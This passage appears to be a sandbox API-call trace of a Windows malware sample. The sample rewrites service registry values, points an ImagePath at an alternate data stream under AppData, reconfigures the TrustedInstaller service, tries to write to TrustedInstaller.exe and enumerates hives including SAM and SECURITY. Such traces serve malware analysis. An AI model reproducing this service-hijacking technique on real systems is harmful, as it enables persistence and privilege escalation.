(HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0244.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0244.815] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0244.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0244.815] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0244.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0244.815] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0244.815] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0244.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0244.815] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0244.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0244.815] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0244.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0244.815] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.816] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0244.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.816] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0244.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0244.816] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0244.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0244.816] RegSetValueExA (hKey=0x0, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData=0x21f1da8, cbData=0x6) returned 0x6 [0244.816] RegSetValueExA (hKey=0x0, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData=0x21f1da8, cbData=0x1) returned 0x6 [0244.816] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0244.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0244.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.816] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0244.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0244.816] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0244.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0244.816] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0244.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.816] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0244.817] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0244.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0244.817] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0244.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0244.817] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0244.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0244.817] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0244.817] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0244.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0244.817] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0244.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0244.817] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0244.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0244.817] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0244.817] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0244.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0244.818] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0244.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0244.818] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0244.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0244.818] RegSetValueExA (hKey=0x0, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData=0x21f1850, cbData=0x1) returned 0x6 [0244.818] CommandLineToArgvW (in: lpCmdLine="", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin" [0244.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0244.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0244.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0244.818] LocalFree (hMem=0x7f03d0) returned 0x0 [0244.818] RegSetValueExA (hKey=0x0, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData=0x21f1e38, cbData=0x2f) returned 0x6 [0244.818] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x2) returned 0x8038a0 [0244.818] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0244.820] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0244.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0244.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0244.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0244.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0244.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0244.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0244.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0244.820] RegCloseKey (hKey=0x148) returned 0x0 [0244.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0244.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0244.820] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0244.820] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.821] GetLastError () returned 0x5 [0244.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0244.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0244.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0244.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0244.824] NtClose (Handle=0x148) returned 0x0 [0244.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0244.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0244.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0245.485] NtClose (Handle=0x148) returned 0x0 [0245.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0245.485] NtClose (Handle=0x154) returned 0x0 [0245.485] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x2710) returned 0x0 [0245.856] NtClose (Handle=0x14c) returned 0x0 [0245.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0245.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0245.856] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0245.856] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0245.856] GetLastError () returned 0x5 [0245.856] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0245.857] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0245.857] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0245.857] OpenServiceW (hSCManager=0x803918, lpServiceName="ehRecvr", dwDesiredAccess=0x20) returned 0x803990 [0245.858] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0245.858] GetLastError () returned 0x425 [0245.858] CloseServiceHandle (hSCObject=0x803990) returned 1 [0245.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0245.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0245.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0245.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0245.859] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0245.859] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0245.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0245.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1970, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0245.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.859] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0245.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0245.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.859] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0245.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0245.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0245.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.860] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0245.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0245.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.860] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0245.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0245.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.860] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0245.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0245.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, 